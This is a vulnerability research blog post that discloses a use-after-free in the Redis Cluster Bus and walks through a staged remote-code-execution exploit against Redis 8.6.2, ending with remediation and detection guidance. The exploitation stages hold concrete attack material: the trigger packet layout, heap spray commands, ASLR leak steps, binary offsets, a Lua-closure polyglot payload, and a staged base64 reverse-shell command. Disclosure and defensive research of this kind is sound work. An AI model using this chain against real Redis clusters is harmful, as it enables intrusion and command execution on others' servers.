Use-After-Forget: From Cluster Bus Bug to RCE in Redis
A Use-After-Free in the Redis Cluster Bus and How We Turned It Into a Shell

JFrog Security Research teams are constantly looking for new and previously unknown vulnerabilities in popular open-source projects to help improve the projects’ security postures. As part of this effort, we conducted vulnerability research on Redis, an open-source, in-memory data structure store used as a database, cache, message broker, and streaming engine. During the research, we independently identified and analyzed a vulnerability in the Redis Cluster Bus that allows an attacker with the required network and configuration access to trigger a use-after-free and, when chained with several legitimate Redis features, achieve remote code execution. We reported the finding to the Redis security team, who informed us it duplicates a report already filed on March 9, 2026. However, because of the bug’s severity, we continued investigating its practical impact and demonstrated remote code execution, which we explain in this post. With a fix available in Redis 8.12.0, released on November 22, 2026, we are now publishing our technical findings.
The same use-after-free in clusterProcessPingExtensions was independently described by Daniele Berardinelli in “Redis: from TLS reuse to RCE” (October 19, 2026). In his write-up, the bug is reached after a TLS session created on the data port is resumed on the cluster bus, on a server configured with tls-cluster and tls-expected-peer-name, and code execution goes through a DEBUG command. This post follows a different exploitation chain in a test cluster using the default non-TLS bus configuration and an accessible, unauthenticated client port.
Who is affected by the Redis Cluster Bus Vulnerability?
Even though no CVE has been assigned yet, we discovered that Redis nodes can be affected by this use-after-free vulnerability when the following conditions are true:
- The version is from Redis 7.2.0 through the releases before 8.12.0 (Fixed in 8.12.0 commit c779245, PR #15685).
- Cluster mode is enabled (cluster-enabled yes). Standalone Redis is not affected.
- The cluster bus is reachable by an attacker. That port is the client port plus 10000, unless cluster-port is set.
- A password on the client port does not protect the cluster bus.
For the full PoC as written, the attacker also needs client-port access and permission to run its Redis commands, including SAVE, CLUSTER SHARDS, and EVAL. Bus access alone does not reproduce this RCE chain.
What is the Recommended Remediation for the Redis Cluster Bus Vulnerability?
- Upgrade to Redis 8.12.0 or later.
- Workaround if you cannot upgrade: restrict the cluster bus port to trusted nodes only by blocking external network access.
For additional detection and mitigation guidance, see the “Detection and mitigation” section below.
In this post, we explain the vulnerability and exploitation in detail.
Redis Cluster Bus Vulnerability: Root Cause and Exploitation
1. Background: the cluster bus
Redis Cluster nodes exchange heartbeat, failover, and topology information over a dedicated TCP port (the cluster bus), which is conventionally client_port + 10000. Unlike the client port, the cluster bus “speaks” a binary protocol – clusterMsg – and has no authentication of its own unless tls-cluster is enabled. The reasoning is that operators are expected to firewall this port off from anything other than another cluster member. Misconfigured container and cloud network policies can expose the bus port alongside the client port.
PING and PONG messages on the bus carry an extensible “extensions” trailer. Each extension has a type tag and a payload, and clusterProcessPingExtensions() walks the trailer in a loop, dispatching to handlers based on type. The two extensions involved in this bug are:
- FORGOTTEN_NODE (introduced in PR #10869, July 2022) – Tells the receiver “node X has been removed from the cluster – please drop it from your view.” On receipt, the node calls
clusterDelNode(), whichzfree()s the correspondingclusterNodestructure (2,560 bytes on x86-64) and its allocated sub fields. - SHARDID (introduced in PR #10536, November 2022) – A shard is the group of nodes that serve one slice of the keys Redis stores. The SHARDID extension tells the receiver “the sender node of this message is part of shard
<shard_id>“. Inside the extension loop, the handler parses the shard ID from the payload and stores a pointer to it in a local variable.
The parsed shard ID is used after the loop completes, when clusterProcessPingExtensions() calls updateShardId(sender, ext_shardid).
In a certain case, the inner clusterAddNodeToShard() appends the sender node’s pointer to the node list for ext_shardid in server.cluster->shards. That dictionary maps a shard id to a list of nodes.
2. The bug: two extensions, one free
The extension loop processes all extensions in order, against a single sender pointer that is captured once at the beginning of the function. No rule says “if you already freed sender in this call, stop.”
In our tested two-master setup, a packet that impersonates a known peer, carries a FORGOTTEN_NODE extension naming that peer, and supplies a different SHARDID, can produce this sequence inside clusterProcessPingExtensions:
Extension loop:
1. FORGOTTEN_NODE handler deletes the active sender
→ clusterDelNode(sender)
→ zfree(sender) ; the 2,560-byte clusterNode is freed.
; jemalloc places it on the per-thread cache.
; to be reused by the next 2560-byte allocation
2. SHARDID handler
→ ext_shardid = <payload> ; only copies the Shard ID pointer into a local;
; sender is not dereferenced here.
After the extension processing loop:
3. updateShardId(sender, ext_shardid) ; the dangling sender is appended
; to the attacked node's shard list
→ clusterAddNodeToShard(sender, ...)
After step 3, server.cluster->shards holds a dangling pointer to the freed node, which we exploit in a later stage. The receive buffer was freed too, while the parser was still using it, so the process could potentially crash here, though in our runs it stayed up.
Root cause flow of the Use-After-Free vulnerability in the Redis Cluster Bus
3. Turning a dangling node into read and free primitives
The exploit needs a Redis command that dereferences the dangling clusterNode pointer in server.cluster->shards. CLUSTER SHARDS provides that path.
CLUSTER SHARDS iterates server.cluster->shards, and for each node it:
- Reads
node->hostnameand emits it as a RESP bulk string. → C-string read. - Calls
clusterFreeNodesSlotsInfo(n), which callszfree(n->slot_info_pairs). → arbitrary free.
Combined with SETRANGE (which writes bytes into the value stored at a Redis key), and a heap spray that reclaims the freed clusterNode slot with a Redis string whose contents are a fake clusterNode struct, we get:
| Primitive | Mechanism |
|---|---|
| Chosen-address C-string read | SETRANGE sets the fake node’s hostname pointer, then CLUSTER SHARDS returns bytes from that address up to the first NUL |
Pointer-controlled zfree |
SETRANGE sets the fake node’sslot_info_pairs pointer, then CLUSTER SHARDS passes it to zfree()throughclusterFreeNodesSlotsInfo() |
Two primitives, one bug. From here it is a question of what to free, what to reclaim its memory with, and how to exploit the resulting dangling reference.
The PoC below uses these building blocks plus a final Lua-VM hijack to reach system(), with numeric offsets specific to the tested Redis 8.6.2 Docker image (Debian trixie, x86-64).
4. Stage 1 – Stage the command and leak Lua addresses
First, the exploit writes a base64-encoded reverse-shell command to the on-disk dump.rdb:
SET _rshell "\n\necho <base64-revshell> | base64 -d | bash\n\n"
SAVE
SAVE flushes the keyspace – including the _rshell value containing our encoded reverse-shell command – to dump.rdb in the Redis node’s configured dir. Why a file? Because in the next stage we will not be able to fit the full reverse-shell command line into the 44 bytes of payload that overlay the closure. We can fit a grep + pipe one-liner that extracts the command from dump.rdb and runs it, though.
Next, the exploit obtains the heap addresses of two Lua closures: one will yield a Redis code pointer, and the other will become the hijack target.
Redis bundles a sandboxed Lua 5.1 VM, accessible via EVAL. Its sandbox forbids defining new globals by recursively protecting the _G table withluaSetTableProtectionRecursively, but leaves the built-in tostring() unchanged. As a result, converting a function to a string can reveal the address of its closure structure. Lua’s default luaB_tostring returns strings of the form function: 0xdeadbeef.
EVAL "return tostring(tostring) .. '|' .. tostring(__redis__err_handler)" 0
This single command leaks two heap addresses:
tostring– a CClosure whose 40-byte allocation request falls in jemalloc’s 48-byte size class. Its f field at offset 32 is a function pointer toluaB_tostringitself, which we’ll use as the source for our PIE-base derivation.__redis__err__handler– anLClosurewith one upvalue (48-byte jemalloc bin). It is registered inscriptingInit(), persists acrossEVALcalls, and is callable by name from any Lua script. This is our hijack target.
Why these two specifically? Because we need both a known code pointer that already lives in the heap (to derive PIE base) and a Lua callable whose underlying allocation we can free and reclaim (to trigger the chain). tostring's f field holds a code pointer; __redis__err__handler is a 48-byte allocation we can later reclaim with a 44-byte SDS (Redis Simple Dynamic Strings, a custom strings implementation) payload. Together they break ASLR for the binary and give us a Lua entry point.
5. Stage 2 – Triggering the UAF
Send one cluster-bus PING packet to the target Redis node at target:bus_port:
header { sender = <peer_node_id>, ext = 2, mflags |= EXT_DATA }
ext[0] = FORGOTTEN_NODE { node = sender, ttl = 300 }
ext[1] = SHARDID { shard_id = <victim_myshardid> }
<peer_node_id> and <victim_myshardid> are pulled from CLUSTER NODES and CLUSTER MYSHARDID, which may be accessible without authentication when access controls are not configured and protected mode is disabled. The packet does not need to be signed, but the attacker must have network access to the cluster bus.
After the packet is processed, the freed 2,560-byte slot is on jemalloc’s per-thread cache (tcache), and the dangling pointer is sitting in server.cluster->shards.
6. Stage 3 – Heap spray and PIE leak
To turn the dangling pointer into the read and free primitives described above, we need attacker-controlled bytes to occupy the freed clusterNode allocation.
jemalloc keeps freed allocations in per-thread tcache bins and generally reuses them in LIFO order. But another allocation in the 2,560-byte size class could take the slot first. The exploit therefore prepares 512 SET commands, each with a value sized for that class. All the sprayed keys start with , so Redis assigns them to the same cluster slot despite their different suffixes. In our test setup, the target node owns that slot, so the {a}SET commands spray the target node’s heap, where the freed clusterNode slot is:
val_len = CN_JEMALLOC - SDS_HDR16 - 1 # 2560 - 5 - 1 = 2554
SET {a}s0 <2554-byte fake-node body>
SET {a}s1 <...>
...
SET {a}s511 <...>
The 5-byte sdshdr16 header, 2,554-byte value and NUL terminator total exactly 2,560 bytes, matching the clusterNode allocation. The exploit sends the crafted cluster-bus packet, waits 20 ms, then sends the SET batch in one TCP write. If Redis processes the bus packet first, one of these allocations may reclaim the freed slot. The delay helps establish that order but does not guarantee it.
The fake clusterNode body is crafted with these fields:
fake.hostname = tostring_addr + 32; // CClosure.f
fake.flags = CLUSTER_NODE_MASTER;
fake.slot_info_pairs = 0; // for now
fake.slaves = NULL; // other pointers are zeroed
tostring_addr + 32 points to the f field of the tostring CClosure, which holds the address of luaB_tostring. When CLUSTER SHARDS treats that address as a NULL-terminated hostname, it typically returns the low six bytes of the function pointer before reaching the zero bytes at the high end of the x86-64 address.
The exploit first checks that Redis is still responsive. It then runs CLUSTER SHARDS, looks for the fake node’s distinctive ID, and extracts its hostname. If the spray reclaimed the freed slot, those hostname bytes encode the luaB_tostring pointer. Subtracting its known offset in this Redis build gives the PIE base
pie_base = leaked_luaB_tostring - PIE_LUAB_TOSTRING
That leak defeats ASLR for the Redis binary.
7. Stage 4 – libc leak via the GOT
The same primitive, with a different target. We update the fake node’s hostname field in place – SETRANGE writes bytes into the existing 2,554-byte SDS without reallocating it – to point at the GOT entry for syscall@libc:
SETRANGE {a}s<i> hostname_off pack("<Q", pie_base + PIE_GOT_SYSCALL)
A second CLUSTER SHARDS reads 6 bytes from the GOT, yielding the resolved libc address of syscall. Subtracting the known offset:
libc_base = leaked_syscall - LIBC_SYSCALL
system_addr = libc_base + LIBC_SYSTEM
ASLR is fully defeated. We have system()‘s runtime address.
(Note: the spray performed 512 SETs but we don’t know which one reclaimed the slot. The exploit SETRANGEs all 512 of them in a single pipelined batch – only the one that actually owns the freed slot has any visible effect, and it’s harmless to write the same bytes into the other 511 keys. This is the same trick the exploit uses every time it has to update the fake node.)
8. Stage 5 – Freeing the Lua error handler
Now we point the fake node’s slot_info_pairs at the live __redis__err__handler LClosure that we leaked in Stage 1:
SETRANGE {a}s<i> slotinfo_off pack("<Q", errh_addr)
When CLUSTER SHARDS next runs, its per-node cleanup path executes:
clusterFreeNodesSlotsInfo(n);
→ zfree(n->slot_info_pairs); // frees the live 48-byte LClosure
The Lua VM is none the wiser. Its global table still holds a TValue of type LUA_TFUNCTION whose gc.cl pointer points at the now-freed 48-byte slot. A use-after-free has been planted in the Lua VM’s object graph.
Before the free, the exploit tries to drain the 48-byte tcache bin with 64 dummy SADD operations. Their 44-byte members are distinct, so each one requires a new 48-byte SDS allocation. Earlier, the exploit added 129 small members to the set, pushing it past the listpack limit of 128; without that conversion, the dummy members would not produce the intended allocations.
Draining the bin improves the chances of reclaiming the closure’s slot, but it does not guarantee it. CLUSTER SHARDS continues to allocate while building its reply, and another 48-byte allocation may take the freed slot before a reclaim payload does.
9. Stage 6 – Reclaiming the Lua closure with a polyglot payload
The freed 48-byte slot needs to be reclaimed with a buffer that:
- Looks like a valid
Closurestruct toluaD_precall, so the VM doesn’t crash before we get to call it. In particular,markedmust be set toBLACK(or any non-WHITEcolor) so the GC sweep doesn’t reap it before we call it, andisCmust be non-zero soluaD_precalltakes the C-closure path (the one we control). - Functions as a valid
/bin/shcommand line when interpreted as a NULL-terminated C string starting at offset 0, because we’ll be passing the start of the allocation tosystem(). - Holds attacker-chosen function pointers at offsets 32 and 40, which are where
luaD_precalland our chosen gadget will read.
The reclaim is performed by SADD <key> <44-byte member>. SADD calls sdsdup() internally, which calls zmalloc(48) (3-byte SDS header + 44 bytes of data + NUL terminator = 48 bytes) and copies the member bytes into it. Each 48-byte allocation may reclaim the freed closure slot; the distinct payloads improve the chance that one does.
The 44-byte SDS body is laid out like this:
Allocation (48 bytes total):
[0..2] sdshdr8 header { len=44, alloc=44, flags=0x01 }
[3..31] shell command ";aaaa;\x04X;grep -a echo d*|sh;#"
[32..39] Closure.f → gadget (PIE+0x32b318)
[40..47] [rax+0x28] → system()
Two bytes make the reclaimed buffer usable as a Lua C closure:
- Byte 9 (
\x04) lands onClosure.marked.It sets Lua’sBLACKmark bit, so the object is not treated as white before the call. - Byte 10 (
X) lands onClosure.isC. Its non-zero value makesluaD_precalltake the C-closure path.Xalso works as an ordinary character in the shell text.
The three-byte SDS header is followed by 29 bytes of shell text, occupying offsets 3–31. The pointer bytes begin at offset 32. The shell text is:
;aaaa;<garbage-byte><garbage-byte>;<real-command>;#
The semicolons separate the leading junk into commands that may fail without stopping the grep pipeline. The trailing # comments out the pointer bytes that follow, but only until a newline or the end of the string.
grep -a echo d*|sh – finds the echo <base64> | base64 -d | bash line staged in dump.rdb and pipes it to sh, which runs the reverse-shell command. The exploit submits 16 versions of this payload, each differing by one filler byte so that every SADD member is distinct and gets its own allocation.
10. Stage 7 – Calling the hijacked Lua closure
EVAL "__redis__err__handler(42)" 0
The Lua VM resolves __redis__err__handler from the global table. The TValue still points to the address of the (freshly reclaimed) 48-byte slot, and its tag is still LUA_TFUNCTION. luaD_precall checks cl->isC (0x58, non-zero) and dispatches via the C-closure path, which ends with the following instruction:
; luaD_precall (C-closure dispatch)
...
call *0x20(%rax) ; call closure->f (= Closure.f at offset 32)
That call reaches our gadget, which then does:
; gadget at PIE + 0x32b318
mov %rax, %rdi ; rdi = closure pointer = start of allocation
call *0x28(%rax) ; call *(closure + 40) = system()
%rdi, the argument to system(), now points at the start of the closure allocation. system() ia called and reads that pointer as a NULL-terminated string. /bin/sh parses the polyglot, and remote code execution is achieved.
The PoC succeeds when the reverse shell connects back; it does not require a clean return to Lua.
Polyglot payload layout achieving remote code execution via a reclaimed Lua closure
11. Why the final stages are pipelined
Stages 5, 6, and 7 are prepared as one pipelined batch and sent over the same Redis connection without waiting for replies between commands:
SADD x64 <distinct dummy 44-byte member> ; prepare the 48-byte bin
SETRANGE x512 (slot_info_pairs ← errh_addr) ; point the fake node at the closure
CLUSTER SHARDS ; free the closure
SADD x16 <distinct 44-byte payload member> ; attempt to reclaim its slot
EVAL "__redis__err__handler(42)" 0 ; invoke the closure
Keeping the commands together gives Redis a chance to process the free, reclaim attempts, and EVAL before another event-loop turn. This reduces interference from other activity, but does not guarantee that the payload reclaims the freed slot.
12. Detection and mitigation
Operators who run Redis Cluster should upgrade to Redis 8.12.0 or later. The measures below reduce exposure but do not replace the upstream fix:
- Firewall the cluster bus port. Restrict the bus port (
client_port + 10000), so only other cluster members can reach it. The cluster bus is intended to be a private control channel – treating it as such substantially reduces remote exposure. - Enable cluster-bus TLS after upgrading. Use
tls-cluster yeswith a dedicated cluster CA. If you use a shared CA, also configuretls-expected-peer-nameto verify cluster peer identity. Do not rely on TLS alone instead of upgrading: Berardinelli showed that resuming a client-port TLS session could bypass the bus peer-name check in affected versions. - Require client authentication. The PoC needs client-port commands for its setup, heap spray, leaks, and trigger. Authentication blocks unauthenticated use of those commands, but does not prevent the bus-side UAF.
- Restrict Lua scripting where unnecessary. Use least-privilege ACLs to deny script execution to users who do not need it. For those users, this blocks the PoC’s
EVAL-based address leak and final trigger; the underlying UAF and read/free primitives remain. - Look for anomalous cluster-bus extensions. A
FORGOTTEN_NODEextension naming the packet sender, when that sender is a known peer, can trigger the UAF. A followingSHARDIDwith a different shard ID matches this PoC’s dangling-node chain. However, passive network sensors cannot inspect these extensions when the cluster bus uses TLS. - Monitor for unusual command bursts. Many
SETcommands writing large, similarly sized values, followed shortly byCLUSTER SHARDS, could indicate heap-spray activity.
The upstream fix ignores a FORGOTTEN_NODE extension that names the active sender and precomputes the next-extension pointer before running each handler.
Stay on top of the latest vulnerability research by adding JFrog Security Research to your favorites.
NOTE: The code samples used in this blog are illustrations provided as-is for educational purposes only and are not for production use.